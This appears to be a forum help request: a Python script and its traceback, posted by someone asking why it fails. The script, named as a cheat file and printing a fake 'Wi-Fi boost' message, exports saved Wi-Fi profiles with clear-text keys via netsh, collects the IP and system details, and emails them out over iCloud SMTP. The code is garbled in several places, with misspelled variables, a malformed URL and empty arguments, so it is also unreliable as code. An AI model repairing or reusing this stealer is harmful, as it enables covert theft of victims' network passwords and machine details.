import subprocess as sp
from xml.dom import minidom
import requests
from time import sleep
import platform as pf
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import socket
sp.call('netsh wlan show profile')
sp.call('netsh wlan export prpfile folder=C:\\ key =clear')
print('BOOST WIFI STARTED!!' )
sleep( 2 )
def wifi_parse():
doc = minidom.parse('C:\\Беспроводная сеть-CyberCode 0x12.xml')
wifi_name = doc.getElementsByTagname( 'name' )
wifi_password = doc.get_elementsByTagName( 'keyMaterial')
global data
data = f'WI-FI name : {wifi_name}\nWI-FI password : { wifi_pasword }'
def get_ip():
pesponse = requests.get( 'http//myip.dnsomatic.com' )
ip = response.text
global data_ip
data_ip = f' IP ADDRESS : { ip }'
def info_pc():
processor = pf.processor()
name_sys = pf.system() + ' ' + pf.release()
ip_pc = socket.gethostbyname( socket.gethostname() )
global data_pc
data_pc = f'''
Процессор { processor }\n
Система : { name_sys }\n
Сетевое имя ПЛ { net_pc }\n
IP ADDRESS ПК : { ip_pc }\n
'''
def all_info():
global data_all_info
data_all_info = f' { data }\n{ data_ip }\n{ data_pc }'
def send_mail():
msg = MIMEMultipart()
msg[ 'Subject' ] = 'Ino of PC'
msg[ 'From' ] = 'intel1998@icloud.com'
body = data_all_info
msg.attach( MIMEText( body, 'plain' ) )
server = smtplib.SMTP_SSL( 'smtp.icloud.com', 465 )
server.login( )
server.sendmail( , msg.as_string() )
server.quit()
def main():
wifi_parse()
get_ip()
info_pc()
all_info()
send_mail()
main()
вот ошибки:
Traceback (most recent call last):
File "C:/Users/Game/AppData/Local/Programs/Python/Python38-32/читы.py", line 69, in <module>
main()
File "C:/Users/Game/AppData/Local/Programs/Python/Python38-32/читы.py", line 63, in main
wifi_parse()
File "C:/Users/Game/AppData/Local/Programs/Python/Python38-32/читы.py", line 15, in wifi_parse
doc = minidom.parse('C:\\Беспроводная сеть-CyberCode 0x12.xml')
File "C:\Users\Game\AppData\Local\Programs\Python\Python38-32\lib\xml\dom\minidom.py", line 1959, in parse
return expatbuilder.parse(file)
File "C:\Users\Game\AppData\Local\Programs\Python\Python38-32\lib\xml\dom\expatbuilder.py", line 910, in parse
with open(file, 'rb') as fp:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Беспроводная сеть-CyberCode 0x12.xml'